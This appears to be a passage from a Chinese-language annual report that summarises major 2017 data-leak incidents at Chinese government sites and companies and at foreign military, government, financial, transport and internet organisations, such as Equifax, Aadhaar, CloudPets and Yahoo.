九龙坡区学生资助管理中心2016年8月24日在九龙坡区教委官网发布《九龙坡区2016年“金秋圆梦”公益资助大学贫困新生资助学生名单公示》。在该文件中，5名大学贫困新生的姓名、开卡银行、银行卡号、联系电话等个人信息被公布。
九龙坡区学生资助管理中心2016年9月27日在九龙坡区教委官网发布的《关于2016年中央专项彩票公益金教育助学项目资助的公示》中，被资助学生的学校、本人姓名、身份证号码被公布，共计130人。
#### （四）石家庄政府官网大面积泄露执法人员隐私信息
2017年11月，澎湃新闻记者查询石家庄市人民政府官方网站（www.sjz.gov.cn）“信息公开”一栏“石家庄市行政执法监督信息平台”网页发现，该页面中行政执法公示内容涉及到石家庄下辖22个县市区政府公开的行政执法人员清单，其中，至少有桥西区、新华区、长安区、井陉矿区、正定县、平山县、无极县等16个县市区政府官网中泄露了多个部门行政执法人员的完整身份证号码和手机号码。
同样，在石家庄市桥西区人民政府官方网站“石家庄桥西区行政执法公示专栏”内，财政局、质监局和人社局在行政执法人员清单中完整公布了行政执法人员的姓名、单位、职务、单位性质、身份证号码和执法证号等信息。该区人防办除了公开了行政执法人员完整的身份证号码外，还公布了行政执法人员的个人手机号码，文体局则公布了行政执法人员的姓名、部门职务及个人手机号码。
### 互联网企业重大信息泄露事件
#### （一）58同城数据遭遇爬虫软件
2017年3月，多家新闻网站曝出“58同城陷数据泄露：700元可采集网站全部简历信息”的新闻。相关报道指出，在淘宝等电商平台上，有人公开出售一些特殊的爬虫软件，这些爬虫软件可以自动抓取58同城网站上的简历数据、本地商户信息、汽车过户信息、保洁公司信息、租房联系人信息等多类信息。自2016年初开始，关于58同城的爬虫软件和相关技术讨论不断涌现，利用这些工具，一天可采集到的数据量可达10万条。
CNNVD（中国国家信息安全漏洞库）发布的关于58同城简历泄露事件的通报指出：由于58同城网站存在弱加密等设计缺欠，导致攻击者可通过访问该网站的某些数据查询接口，经过简单的解密还原，获取并关联用户关键信息，进而获取用户简历的全部信息。
这起事件的最可怕之处还不在于有多少个人信息被泄露，而在于可被用于非法窃取个人信息的黑客工具在互联网上被公开销售，这充分的说明了网络黑产交易活动的猖獗，也必将给更多网站和个人带来更大的安全威胁。
#### （二）优酷上亿条数据千元售卖
2017年4月，黑客“CosmicDark”在网上售卖从优酷窃取约的1亿用户账号，售价约2000人民币。CosmicDark称，该数据库于2016年被泄，今年才在互联网上公开暴露。但是目前尚不清楚这些数据库是如何被窃取的。
该数据库包含大量帐号的电子邮箱和解密的MD5、SHA1哈希密码。CosmicDark提供的一份样本数据（552个账号）显示，大多数电子邮箱来自@163.com、@qq.com和@xiaonei.com。而且，有黑客资讯网站经过研究发现，样本数据中提供的加密密码已被解密，并公开暴露在互联网上。
用户帐号、密码等信息的盗窃和交易活动一直是网络黑产的主要活动之一。特别是由于很多用户会使用相同的帐号和密码在多个网站上进行注册，常用邮箱也经常被用于各种不同网络应用的注册，所以一旦有某些知名网站或邮箱发生大规模帐号密码泄露事件，就会引发一系列的连锁反应，进而导致更大规模的帐号信息泄露。
#### （三）50名小红书用户被骗88万
据媒体报道，截至2017年5月31日，先后有50名“假冒小红书客服诈骗”的受害者向中国青年报求助，这些受害者因在手机应用“小红书”上网购后遭遇假冒客服而被骗，累计受骗金额高达近88万元。据报道，这些用户在小红书上网购之后，都接到自称是“小红书客服”的电话。假冒客服以客户购买的商品存在质量问题而需要退款为由实施诈骗。
据统计，50名受骗者受骗总金额为879163.58元，受骗1万元以下的有25人，受骗1万～2万元的有11人，受骗2万～3万元的有4人，受骗3万～4万元的有3人，受骗4万～5万元的有4人，5万元以上的有3人，最多的一人被骗9.13万元。
事实上，退款诈骗是近年来非常流行的一种因网购信息泄露而引发的网络诈骗。骗子冒充客服，能够准确的说出受害者的网购信息，因此很据迷惑性。随后，骗子再通过发送虚假登陆的钓鱼网站或诱骗受害者主动转账等方式，诈骗受害者钱财。这种情况在其他电商主流电商平台上也时有发生。
### 医疗卫生系统重大信息泄露事件
2017年4月，浙江松阳警方侦破一起特大侵犯公民个人信息案件，查获非法获取的各类公民个人信息7亿余条，共370余G的电子数据。抓获犯罪嫌疑人20名，其中查获2名入侵相关信息系统的网络黑客。
经查，犯罪嫌疑人王某于2016年2月入侵某部委的医疗服务信息系统，将该系统数据库内的部分公民个人信息导出进行贩卖。
而李某则于2016年9月侵入某省扶贫网站，下载系统内大量公民个人信息数据贩卖，这些被贩卖的数据辗转又卖给了台湾等诈骗团伙。
## 国外机构重大信息泄露事件分析
本章主要介绍2017年，媒体报道的国外发生的一系列重大信息泄露事件，涉及军事、政府、金融、交通、互联网、医疗卫生、教育、传媒、旅游、酒店、餐饮等多个行业。总体来看，不同行业信息泄露的原因、信息泄露的内容以及信息泄露后的危害都有很大的不同。
### 国外军事机构重大信息泄露事件
#### （一） 问题综述
军事机构的内部信息无疑是最为敏感的机密信息。在2017年媒体披露的军事机构重大泄密事件中，美国上榜次数最多，也是最受关注的。CIA、NSA、美国国防部，美国陆、海、空军等都未能幸免。
从国外军事机构机密信息泄露的原因和结果来看，主要有以下几个明显的特点：
* 内鬼问题十分突出。斯诺登事件后，美国的军事机构中仍然不时出现内鬼。例如，前NSA（美国国家安全局）承包商雇员马丁窃取了NSA超过50 TB的高度敏感数据。
* 供应链安全问题十分突出。在下述的7个事件中，至少有三个事件可以明确是由于供应商、承包商或分包商的安全出了问题，从而导致了军事机构的信息泄露。
* 网络武器成为攻击目标。在2017年，CIA、NSA均发生了网络武器库泄密事件，相关代码被公布在互联网上以后，对普通公众的安全造成了极大的威胁。而Wannacry，即永恒之蓝勒索蠕虫事件，更是将这种威胁放大到了极致。
* 低级运维错误仍普遍存在。比如，在下面举例的安全事件中，分别在3月和11月发生的两次军事数据库泄密事件，都与系统配置不当，缺乏有效的运维管理有关。
#### （二） 五角大楼分包商泄露机密的军事人员数据
2017年1月曝出，五角大楼的分包商在互联网上暴露了大量在职军事医疗保健专业人士的高度敏感的信息细节，其中一些拥有最高机密的安全许可。数据泄露的许多受害者是美国特种作战司令部的工作人员，包括美国陆军，海军和空军等美国军方分支机构的前雇员。泄露的信息中包括姓名，合同类型，社会安全号码和税务起始日期等信息，，以及详细说明工作人员不在现役时的生活区的方坯编号；这些信息最早可追溯到1998年。
波托马克医疗保健解决方案是一家分支机构，通过其驻华盛顿特区的承包商Booz Allen
Hamilton向美国政府和军事组织提供医疗专业人员，是数据泄露的根源。
#### （三） 新加坡国防部850名用户数据泄露
2017年2月，新加坡国防部在I-net系统（新加坡国防部内部使用的一种网络系统，可与互联网相连）中发现一次网络攻击行为，在此次攻击中被盗的数据包括850名受害人的身份证号码，电话号码和出生日期等信息。这些个人信息被用于管理用户帐户并存储在I-net上。
新加坡国防部要求所有受到影响的员工都必须更改I-net系统中的密码。同时，如果有人在其他的网络系统中使用与I-net系统相同的密码，那么相关网络系统的密码也必须同时修改。
#### （四） NSA黑客部队TAO超过75%的黑客工具被承包商雇员窃取
2017年2月，《华盛顿邮报》报道了一起安全事件，一名前NSA（美国国家安全局）承包商雇员马丁窃取了NSA超过50
TB的高度敏感数据，这些数据包含“获取特定情报行动办公室”（Tailored Access
Operations，简称TAO，）超过75%的黑客工具。TAO是NSA的精英黑客部门，负责开发并部署软件，用来渗透外国目标的计算机网络，从而实现间谍目标。
某匿名美国官员表示，马丁声称持有TAO超过75%的黑客工具。扎卡里·A·梅尔斯表示，马丁拿走了“数千页”机密资料和50
TB的数字数据，其中许多具有“特殊处理说明”（指文件有通过特殊途径传递或仅供特定个人知悉等要求）。失窃的数据包含至少5亿页的政府档案，涵盖“国防”相关的机密信息。
#### （五） 美军泄露“安全通关文件”的“圣杯”
2017年3月，安全研究人员发现，任何人都可以访问美国空军网络系统中千兆字节的文件，因为该系统与互联网连接的备份驱动器没有密码保护。不安全的备份驱动器已经暴露了数以千计的美国空军文件，包括高级官员的高度敏感的人事档案。
这些由ZDNet审查的文件包含了一系列个人信息，例如4000多名官员的姓名和地址，职级和社会安全号码。另一个文件列出了数百名其他官员的安全许可级别，其中一些人员拥有“最高机密”许可，并获得敏感的隔离信息和[码字级许可](https://www.documentcloud.org/documents/3515864-US-Air-Force-Joint-Clearance-and-Access.html)。在其他几个电子表格中还可以找到工作人员的电话号码及其配偶的联系信息，以及其他一些敏感和私人的个人信息。
#### （六） CIA泄露针对Windows系统的网络武器Grasshopper
2017年4月，维基解密公布了Vault7系列名为“[Grasshopper](https://wikileaks.org/ciav7p1/cms/page_12353652.html)”的CIA（Central
Intelligence
Agency，美国中央情报局）网络工具相关文档，根据公布的文档显示，该工具主要针对Windows系统进行入侵控制，是一套具备模块化、扩展化、免杀和持久驻留的恶意软件综合平台。
在曝光的“Grasshopper”文档中，分为持久驻留机制说明、开发指导、系统设备测试、发行版本和设计架构六类共27份相关文件，这些文件主要对基于受害者客户端的恶意软件开发设计作出说明，其中包含的内幕信息侧面揭露了CIA的网络攻击入侵手段。
#### （七） 美国防承包商博思艾伦泄露五角大楼相关敏感文件
2017年6月，网络安全公司UpGuard的网络风险分析师克里斯·维克里发现，来自美国国家地理空间情报局（简称NGA）的某美国军方项目将超过6万份敏感文件存储于Amazon云存储服务器（美国规模最大的国防情报承包商之一的博思艾伦咨询公司存储）之上，且无需任何身份验证即可访问。这些文件中包含大量与美国政府系统相关的密码，而这些系统中存放有各类敏感信息以及博思艾伦咨询公司高层工作人员的安全凭证。更严重的是，这批泄露的文件中包含的数据甚至涉及本应受到高度保护的五角大楼系统管理访问权限的主凭证。
#### （八） 美军事数据库遭泄，网络监控数据曝光
2017年9月，安全公司UpGuard的克里斯·维克利在亚马逊可公开访问的及数据库存储仓库中发现了美国陆军及NSA情报平台绝密文件。此事距离UpGuard发现美军中央司令部(CENTCOM)和太平洋司令部(PACOM)不安全Amazon
S3存储桶的新闻爆发，甚至不到2周时间。维克利发现的
这个错误配置的S3存储桶，只要输入正确的URL，任何人都能看到AWS子域名“inscom”上存储的内容。包含有47个文件和目录，其中3个甚至任由下载。UpGuard称：“存储桶中的3个可下载文件，证实了这些内容的高度敏感性，暴露了国家安全数据，其中一些明显是机密的。”
2017年11月，UpGuard公司安全研究员克里斯·维克瑞表示，他发现三台隶属于美国国防部（简称DoD），被错误配置的Amazon
S3服务器，其中包含来自世界各地用户的18亿份社交媒体与论坛发帖，不少美国民众的言论信息也包含于其中。
根据克里斯·维克瑞的说法，数据库中的信息并不包含任何敏感细节。相反，这些数据库完全由收集自互联网的公开社交媒体帖子、论坛帖子、博客、新闻评论以及其它类似的信息片段拼凑而成。这批整理起来的数据包含帖子本体以及用于识别帖子的数据。大部分内容使用阿拉伯语、波斯语以及英语编写而成，且收集时间为2009年至2017年8月之间。
### 国外政府机构重大信息泄露事件
#### （一） 问题综述
在2017年媒体公布的国外政府机构重大信息泄露事件中，美国和印度的上榜次数最多。总体来看，国外政府机构的信息泄露事件主要表现出以下几个明显特点：
* 政府机构信息泄露的重要原因在于网络服务商或云服务商的管理疏失或安全漏洞。这也再次说明政务云系统的云服务与安全服务分开管理的必要性。如果政府机构只是简单的把业务系统托管给网络服务商或云服务商，而没有引入第三方的专业安全管控，那么信息泄露的风险就会大大增加。
* 超大规模的信息泄露事件频发，泄露信息数量动辄上千万。例如，2017年，美国和印度就都爆发了政府机构过千万，甚至过亿条公民信息的大规模泄露的事件。而英国爱丁堡发生的信息泄露事件，甚至影响到了当地近1/4的人口。
* 政府机构泄露的公民个人信息往往是综合性信息，包括姓名、身份ID（如身份证号码）、家庭住址、家庭关系、工作情况、电话号码和电子邮箱等。而这些详细的个人资料在各国都被普遍的用于实施精准的网络诈骗。
#### （二） 黑客入侵FBI网站，公开FBI.gov用户敏感信息
根据国外媒体的最新报道，2017年1月，臭名昭著的黑客CyberZeist（[@cyberzeist2](https://twitter.com/cyberzeist2)）成功入侵了美国联邦调查局的官方网站FBI.gov，并将该网站中的部分数据发布到了Pastebin网站上。此次泄露的数据中包括FBI.gov的用户账号信息，其中包括账号的用户名、SHA1加密的用户密码、SHA1盐值、以及用户邮箱等信息。
根据安全研究专家透露的信息，CyberZeist从FBI.gov的服务器中发现了几个备份文件（acc_102016.bck、acc_112016.bck和old_acc16.bck等等），并在这些备份文件中找到了大量用户数据。
#### （三） 黑客组织利用El Machete窃取全球政府超过100G数据
2017年3月消息，某黑客组织目前正针对全球知名政府组织机构展开攻击。该黑客组织使用定制恶意软件“El
Machete”持续发起攻击，并通过社会工程学技术进行传播，目前已经窃取了超过100G的数据。
安全研究人员认为，该黑客组织将主要目标锁定在拉丁美洲，此外还针对加拿大、英国、德国、韩国、俄罗斯、乌克兰和美国的组织机构展开攻击。安全公司Cylance的安全研究人员确定El
Machete是一款定制恶意软件，其严重依赖Windows
API，旨在逃避传统反病毒软件的检测，该黑客组织瞄准的是“高价值”目标，包括情报机构、军事和政府组织机构。
#### （四） 印度1.35亿公民身份信息和1亿条银行账户信息被泄露
2017年5月，根据印度互联网与社会中心（简称CIS）发布的一份题为《Aadhaar信息安全实践（抑或缺失）：Aadhaar号码中敏感个人财务信息文件的公开可用性》的报告所述，此类系统中出现的任何问题都将引发毁灭性的灾难，强调了Aahdaar本身所采取的高安全性保障机制，同时警告允许其它政府机构访问该系统可能导致数据泄露。
Aadhaar是印度政府强制推行的全国性生物识别项目。每个印度公民都拥有一个独一无二由12位数字组成的Adhaar号码，它的背后存储的是每个人的生物特征数据以及个人身份信息。数据显示，目前约有1.35亿条Aadhaar号码及1亿条银行帐户号码可能已经由负责处理政府养老金及农村就业项目的门户网站处外泄。
2017年11月，印度又发生了一起严重的数据泄露事件。隶属于印度中央政府和邦政府（包括教育部门）的210个网站公开暴露了部分印度公民的个人信息，包括他们的姓名、地址、Aadhaar号码和其他信息。其中，最引人关注的还是Aadhaar号码。
#### （五） 美国9州选民登记数据暗网销售——千万记录仅售4美元
2017年7月，威胁情报公司LookingGlass Cyber
Solutions称，美国近千万选民记录在暗网上仅售4美元（约合27元），美国9大州超过4000万选民的被窃信用卡数据和登录凭证在地下论坛进行交易。被售卖的选民记录包括：选民的全名、选民ID、出生日期、选民身份、所属党派、居住地址和其它详情。选民涉及的美国9大洲：阿肯色州、科罗拉多州、康涅狄格州、特拉华州、佛罗里达州、密歇根州、俄亥俄州、俄克拉何马州和华盛顿州的选民。
#### （六） 英国爱丁堡超过11万公民个人信息流入暗网
2017年7月，黑客在暗网出售逾11万条爱丁堡公民个人信息，此次泄露数据约占其总人口数（据2014年统计，爱丁堡总人口约
464,990）的24%。被泄露信息包括公民电子邮件用户名称、密码与信用卡数据等。
伦敦数据公司 C6 在对事件展开调查后发现，与 EH1、EH4 邮编有关的公民身份信息窃取案例共计 115333 宗，是骗局中受影响程度最为严重的部分。
#### （七） 亚马逊AWS服务器信息泄露 180万选民信息被曝光
2017年8月，美国一家选票计算机公司上周四证实，他们泄露了180多万伊利诺伊州居民的个人信息。而泄露的信息中包含选民姓名、地址、出生日期、部分社会安全号和部分党派关系，此外还包含一些驾驶执照和州身份证信息。网络安全公司UpGuard的乔·亨得利在一台未受密码保护的亚马逊网络服务（AWS）设备上发现了此项漏洞。磁盘分析师克里斯·维客利随后下载了这些选票数据，并判断这些数据来自Election
Systems & Software（以下简称“ES&S”）——这家公司为至少42个州提供选票计算机和服务。
#### （八） 印度国家互联网注册机构（IRINN）遭入侵，数据库在暗网兜售
2017年10月，seQtree和Seqrite团队的安全研究人员注意到在暗网中的某个论坛上，有黑客在兜售一个印度国家互联网注册机构IRINN（Indian
Registry for Internet Names and Numbers，是India’s National Internet
Registry的别称）的数据库信息，主要包括：用户名、电子邮件ID、密码、组织名称、发票/账单文档以及其他一些重要的字段，最可怕的是，黑客甚至可以操作IP地址的分配。此次事件在印度国内影响的范围广泛，包括印度国家身份识别管理局、国防研究与发展组织、电信、万事达卡/
Visa、印度国家银行等6000多家互联网服务提供商、政府机构和私营企业的信息。
#### （九） 南非史上最大的数据泄露事件 三千万公民信息泄露
2017年10月，知名安全专家 Troy
Hunt披露了南非史上最大的数据泄露事件。南非共3千万公民ID号及其他个人信息在网上泄露，大量关于南非公民的敏感信息，包括身份证号、个人收入、年龄、就业经历、民族、婚姻情况、职业、地址和雇主信息等。
这些数据泄露的时间跨度非常长，从上世纪90年代初一直到现在。对数据文件进行分析后可以得出，此次信息泄露的发生时间是在 2015年4月。据网站
iafrikan.com 的社论人士介绍，泄露数据的来源是 Dracore Data Sciences 的 GoVault 平台，其客户
TransUnion 是南非最大的信用机构之一。
#### （十） 首例盗用总统信息的犯罪活动：阿根廷总统成“毒贩”
2017年10月消息，阿根廷安全部接到网民举报，称当地一网店大肆贩卖禁止零售的精神类药品和大麻、可卡因等制品。经警方调查，居然发现该网店注册人信息显示的是阿根廷总统马克里。安全部门立即通过注册的IP地址和用于交易的联系电话锁定犯罪嫌疑人所在地。在距阿根廷首都布宜诺斯艾利斯以西约40公里一处小镇抓获涉案的兄弟二人，并查获了大批制毒原料和作案工具。
阿根廷总统马克里是商人出身，曾担任足球俱乐部主席和布宜诺斯艾利斯市市长，因此其身份证号码、个人税号等相关个人信息在一些当地网站上均可查到。
### 国外金融行业重大信息泄露事件
#### （一） 问题综述
2017年，国外金融机构的信息泄露事件主要表现为以下几个特点值得关注：
* 信息泄露伴随财产损失。与其他机构的信息泄露不同，金融机构的信息泄露往往会伴随更为直接的重大财产损失。2017年，就至少发生过两次俄罗斯黑客通过大规模窃取金融机构用户账户，进而非法盗取钱财的攻击事件发生。。
* 误操作也可能引起重大损失。即便是在安全管理相对较严，安全措施相对较多，安全级别相对较高的金融机构，也同样会发生因操作失误导致的重大事故。富国银行的一名员工就因为误发一封邮件，结果泄露了近5万名客户的个人信息。
* 内鬼问题和技术窃密值得关注。例如，2017年4月曝出的黑客内鬼窃取华尔街金融服务公司核心交易算法事件，使我们有理由担忧，防范严密的金融机构也极有可能从内部被攻破。
此外，2017年6月，美国最大的医疗保险公司[Anthem](http://securityaffairs.co/wordpress/33582/cyber-crime/anthem-breach-slow-silent-attack.html)已经同意支付1.15亿美元来解决[2015年数据泄露](http://securityaffairs.co/wordpress/33130/cyber-crime/data-breach-anthem.html)带来的集体诉讼。这一事件对于国内网络安全法落地实践，对于如何就政企机构因网络安全事件造成普通公民经济损失问题追究其法律责任，具有一定的参考意义。
#### （二） 日本10万条信用卡信息泄露 支付服务提供商被问责
2017年3月，日本支付服务提供商GMOPayment Gateway（GMO PG）公司证实，黑客利用其应用框架中的Apache
Structs2漏洞对该公司的两大客户的网站发起攻击，并导致大量个人数据被窃。这两大客户分别为东京都政府和日本住宅金融支援机构。
通过东京都政府网站泄露的数据量为67.6万条，包括61.5万条电子邮箱地址、6.17万条信用卡号以及信用卡到期日。从日本住宅金融支援机构泄露信用卡信息为4.35万条，包括信用卡号、信用卡到期日、安全码、信用卡支付注册日期、地址、电子邮箱地址、姓名、电话、出生日期和支付加入日期等。
#### （三） 俄罗斯与亚美尼亚黑客联手从澳大利亚多家银行窃取约18万美元
2017年3月消息，亚美尼亚国家安全委员会发布的消息称：“自2016年8月到12月，一个由俄罗斯与亚美尼亚公民组建的网络犯罪集团成员总计从澳大利亚银行客户的帐户中窃取约8500万德拉姆（约18万美元）。不过由于亚美尼亚国家安全委员会实施了广泛调查与情报追踪举措，犯罪集团已经被发现且相关行为得到遏制。”
根据初步数据，该犯罪集团成员以酒店与餐厅经营等借口在Armenia
3贸易组织中进行注册，并借此获取终端收银机。在此之后，他们得以通过输入银行卡数据进行非现金交易，而不再需要获得持卡人及其银行卡的详细信息。
#### （四） 信贷公司Wonga数十万客户数据被泄
2017年4月，英国知名的发薪日贷款（Payday
Loan）公司Wonga确定遭遇数据泄露，并发表声明通知客户联系银行。Wonga在声明中指出，黑客可能非法访问了数十万账户的个人信息，关系到预计总计高达27万客户数量的个人信息。本次泄露的信息可能包括：客户姓名、电子邮箱、家庭住址、电话号码、银行卡的后四位数、银行卡账号和银行代码。唯一庆幸的是，黑客并未窃取到完整的银行卡信息。
#### （五） 黑客内鬼窃取华尔街金融服务公司核心交易算法
2017年4月，一名曾在华尔街一家市值数十亿美元的金融服务公司（KCG控股公司）工作的某高级系统管理员被FBI指控，原因是这名男子开发恶意软件窃取了有价值的源代码和加密密钥，而且直接访问了该公司核心业务的数据文件。
他被指控窃取超过300万个机密和专有文件，而这些文件是KCG业务的核心，这些文件帮助该公司在2016年赚取超过14亿美元的收入。据了解，该男子还曾在KCG控股公司的圣何塞办事处工作长达7年之久。
#### （六） 俄罗斯黑客入侵100多万部安卓手机 盗取银行客户5000多万卢布
2017年5月，俄罗斯官员宣布，他们已经成功打击了一个专门盗取银行账户资金的黑客组织。他们通过恶意软件Cron感染了俄罗斯100多万部 Android
手机，并盗取了银行客户超过5000多万卢布（约合人民币609万元）。
基于Android的恶意软件Cron感染用户的手机后，允许黑客向受害者的银行发送短信，并要求其向每个受害者平均转出140美元，病毒将会在被感染的手机上隐藏来自银行的所有通知。到目前为止，Cron已经将资金存入6000个黑客银行帐户。
#### （七） [Anthem](http://securityaffairs.co/wordpress/33582/cyber-crime/anthem-breach-slow-silent-attack.html)同意支付1.15亿美元解决[2015年数据泄露](http://securityaffairs.co/wordpress/33130/cyber-crime/data-breach-anthem.html)带来的集体诉讼
2017年6月消息，美国最大的医疗保险公司[Anthem](http://securityaffairs.co/wordpress/33582/cyber-crime/anthem-breach-slow-silent-attack.html)已经同意支付1.15亿美元来解决[2015年数据泄露](http://securityaffairs.co/wordpress/33130/cyber-crime/data-breach-anthem.html)带来的集体诉讼。2015年，针对对[Anthem](http://securityaffairs.co/wordpress/33130/cyber-crime/data-breach-anthem.html)的网络袭击（定制的恶意软件被用来渗透Anthem的网络并窃取数据）泄露了7880万条用户记录，记录包括保险人的姓名，出生日期，地址和医疗身份证号码，但保险人的财务信息和医疗记录没有被泄露。
类似的，2017年3月，美国零售巨头[Target](http://securityaffairs.co/wordpress/21141/cyber-crime/target-more-70-million-victims.html)也与美国总检察长[达成](http://securityaffairs.co/wordpress/59417/cyber-crime/target-data-breach-settlement.html)和解协议，并[同意在2013年的数据泄露事件中支付1850万美元](http://securityaffairs.co/wordpress/59417/cyber-crime/target-data-breach-settlement.html)。
#### （八） 富国银行发错电子邮件 导致5万客户信息泄露
2017年7月，前理财顾问加里·辛德布兰德（Gary
Sinderbrand）正在对美国富国银行一名员工提起诽谤诉讼，他原本会收到与本案相关的电子邮件和其他文件，然而富国银行却向他发送了1.4GB包含5万名高净值客户信息的数据，包括姓名、财务信息，以及社会安全号码等。报道称，受影响客户的投资资产达到数百亿美元，更糟糕的是，辛德布兰德的律师收到的这些数据并没有附以保密协议，或是由法官签署的保护令。
#### （九） 信用机构Equifax遭黑客攻击，1.43亿用户信息泄露
2017年9月，美国信用机构Equifax被证实在今年5月到7月期间遭到黑客攻击，导致约有1.43亿用户数据遭到泄露。事件曝光后，Equifax股票暴跌30%，相当于蒸发掉50亿美元市值。Equifax黑客事件位列史上罕见大型数据泄露事件之一，被盗记录中包含社会安全号、驾照信息、信用卡号、姓名和住址等。
#### （十） 支付管理公司TIO Networks遭黑客入侵 泄露了160万用户信息
2017年12月，PayPal发布的信息表示，该公司在今年早些收购的支付管理公司TIO
Networks遭遇了网络安全事件，在此期间，攻击者似乎访问了160万用户存储信息的服务器。在事件发生后，PayPal 于11月10日暂停了TIO
Networks的所有业务，并开始了内部调查。
该公司并没有透露攻击者访问了什么类型的信息。但由于这是一个支付系统，安全专家表示，这些信息可能不仅包含了TIO
Networks用户的账户和密码，还包含了个人身份信息（PII）和财务细节。
目前，TIO Networks正在逐一通知受影响的用户，并开始与消费者信用报告机构合作，为这些用户提供免费的信用监控服务。
## 交通行业重大信息泄露事件
### （一） 问题综述
2017年，交通行业发生重大信息泄露事件的机构主要集中在民航和汽车领域。泄密原因多种多样。其中也有一些高级机密信息泄露的事件发生，如英国女王安保路线这样高度机密的信息被泄露等。
### （二） 纽约机场敏感数据遭泄露 机场安全故障目录曝光
2017年2月消息，纽约州北部机场发生重大信息泄露事件，数据曝光后泄露的敏感文件显示：近年来，机场系统出现过几个重大安全漏洞。在ZDNet上可以看到的的的数十个文件列出[了](http://www.zdnet.com/article/unsecured-servers-at-new-york-airport-left-exposed-for-a-year/)在曼哈顿以北大约60英里的斯图尔特国际机场过去几年[的安全漏洞目录。](http://www.zdnet.com/article/unsecured-servers-at-new-york-airport-left-exposed-for-a-year/)
斯图尔特国际机场每年为数十万乘客提供服务，其中包括备受瞩目的客人和私人包机。例如，[ZDNet看到的](https://www.documentcloud.org/documents/3475599-Upload-1.html)文件显示，2010年机场工作人员在未知的一段时间内无法屏蔽美国政府禁止在其领空飞行的恐怖分子嫌疑人的名单。
### （三） 遗弃U盘里竟有英国机场安保机密，包含英女王抵达路线
2017年10月，一名无业男子在伦敦某街道找到一个USB闪存盘，里面有地图、视频和文件，它们涉及希思罗机场安全保障和反恐行动。甚至，某份文件中有预防恐袭的机场巡逻路线，另一份文件中有英国女王伊丽莎白二世抵达机场的路线以及保护她所采取的措施。这名男子把U盘交给《星期天镜报》，该报把U盘转交给机场人士。
### （四） 1000万辆汽车VIN识别码数据被泄，小心买到克隆车
2017年6月，据媒体报道，已经发现一个汽车数据库被泄露至网络当中，数据库囊括美国本土出售的上千万辆汽车以及相关购买者的个人信息。受这起泄露影响的汽车经销商包括Acura(讴歌)、BMW（宝马）、Chrysler（克莱斯勒）、Honda（本田）、Hyundai（现代）、Infiniti（英菲尼迪）、Jeep（吉普）、Kia（起亚）、Mini（迷你）、Mitsubishi（三菱）、Nissan（尼桑）、Porsche（保时捷）和Toyota（丰田）。
这套未受保护的数据库由Kromtech安全研究中心的研究人员们所发现，其中共包含以下三组数据：车辆细节信息：车辆识别编码（简称VIN）、制造商、型号、型号年份、车辆颜色、里程数等。销售细节信息：VIN、里程表、销售总额、付款方式、每月付款金额、购买价格、支付方式等。客户细节信息：全名、地址、手机/家庭/工作电话、电子邮件、出生日期、性别、职业等。
### （五） Uber被指向黑客低头, 曾花10万美元平息盗号风波
2017年11月，Uber公司被爆曾在2016年10月被黑客攻击，致使5700多万用户和司机账号被盗。消息称，Uber对外隐瞒了这一事件。并且支付了10万美元，要求黑客删除数据。事件发生后，Uber调整了安全措施避免再受攻击，但并未明确这一事件的责任人是谁。
## 国外互联网企业重大信息泄露事件
### （一） 问题综述
互联网企业往往服务用户众多，信息系统复杂，同时互联网领域也是信息泄露事件最为频发的领域之一。从2017年互联网企业重大信息泄露事件来看，主要表现出以下几个特点值得关注：
* 帐号密码仍然是互联网企业信息泄露的主要形式，其中，电子邮箱和网络游戏的账户最受攻击者关注。
* 技术资料泄密事件多发，并可能引发难以估计的损失。如微软的源代码泄露事件、Hadoop服务器泄密事件，都有可能导致攻击者恶意使用相关代码，或发现代码中隐藏的更多安全漏洞。
* 互联网企业的安全漏洞或管理疏失，往往会殃及大量使用这些互联网企业服务的企业和个人。如2017年7月的Google网上论坛泄密事件，就直接导致了数百家企业的商业机密泄露。
* 物联网服务可能引发的信息泄露成为现实。其中最典型的例子就是泰迪熊泄密事件。
### （二） [互联网连接泰迪熊泄露数以百万计的语音信息和密码](https://thehackernews.com/2017/02/iot-teddy-bear.html)
2017年2月，网络安全研究员Troy
Hunt提供的一份调查报告指出，从去年12月25日到2017年1月7日，“云宠物”的超过82万个用户的帐户被泄露，其中包括220万条语言信息。
出事的是来自品牌“云宠物”（CloudPets）的泰迪熊（teddy
bears），一款可以连接互联网的智能玩具。报告指出：“云宠物”的制造商把用户的数据储存在一个任何人不需要身份认证和密码就可以访问的云端数据库中，导致大量数据信息，包括用户的姓名、地址、电子邮箱及密码被多次查看，甚至被网络罪犯盗走。现在网上已经出现几个帖子，对“云宠物”用户进行敲诈勒索，要求用户付钱赎回被犯罪分子恶意储存的语音文件。
此前，也曾有德国监管机构要求消费者立即停止使用品牌为“我的朋友Cayla”（My Friend
Cayla）的洋娃娃，因为担忧玩具体内的联网设备可能被别有用心的黑客用来监视儿童和家长。现在这种担忧在美国变成了可怕的现实。
### （三） 雅虎泄露3200万账户数据
2017年3月，雅虎公布的消息显示：在过去两年间，有入侵者进行“Cookie伪造”攻击，造成3200万账户信息泄露。
通过Cookie伪造攻击，攻击者在无需输入密码的情况下，就能访问受害者账户，只需伪造一个Web浏览器token，即Cookie来诱使浏览器相信雅虎用户已经登录。从2017年2月开始，雅虎就开始警告其用户可能被入侵，并陈述用户可能被窃取的信息包括姓名、邮箱、哈希密码、电话号码、生日和一些加密或者未加密的安全问题和答案。
2017年11月，受大量账户信息泄露事件困扰的雅虎和Equifax公司高管玛丽莎·梅耶尔（Marissa Mayer）和里克·史密斯（Rick
Smith）对账户泄露事件致歉，并表示他们仍然在寻求解决方案。
### （四） DaFont网站遭到黑客攻击，近700,000个账户被暴露
2017年5月，DaFont.com（提供各种文字编辑字体服务）宣布，该网站当月早些时候遭到黑客入侵，以明文形式暴露了近700,000个用户账户的数据库。该数据库不仅包含用户名，电子邮件地址和密码，还包含从论坛收集的数据和用户对话，以及来自美国和英国的Microsoft，Google，Apple和政府机构的公司帐户。数据库的详细信息可以在Troy
Hunt（知名安全专家）的“Have I Been
Pwned”网站上找到。对数据库的分析显示，在数据库中有637,340个唯一的电子邮件地址，其中62％的电子邮件地址已经被其他黑客利用。
### （五） 游戏《Cyberpunk 2077》文件遭黑客窃取
2017年6月，CD新作《Cyberpunk
2077》的一些内部文件和概念设计被黑客窃取并被用以勒索。黑客们已经向CD提出赎金要求，宣称如果得不到满足的话，他们就会在网上公开《Cyberpunk
2077》的开发资料。不过针对此事件，CD的开发人员好像并不担心：窃取事件所涉及的文件是老版本，在很大程度上并不能代表当前版本的游戏。
今年早些时候，该公司的官方论坛遭到黑客攻击，约有190万用户帐户被曝光，CD的开发人员表示，这些帐户源自公司的旧版数据库，早在2016年3月就曾遭遇过入侵。
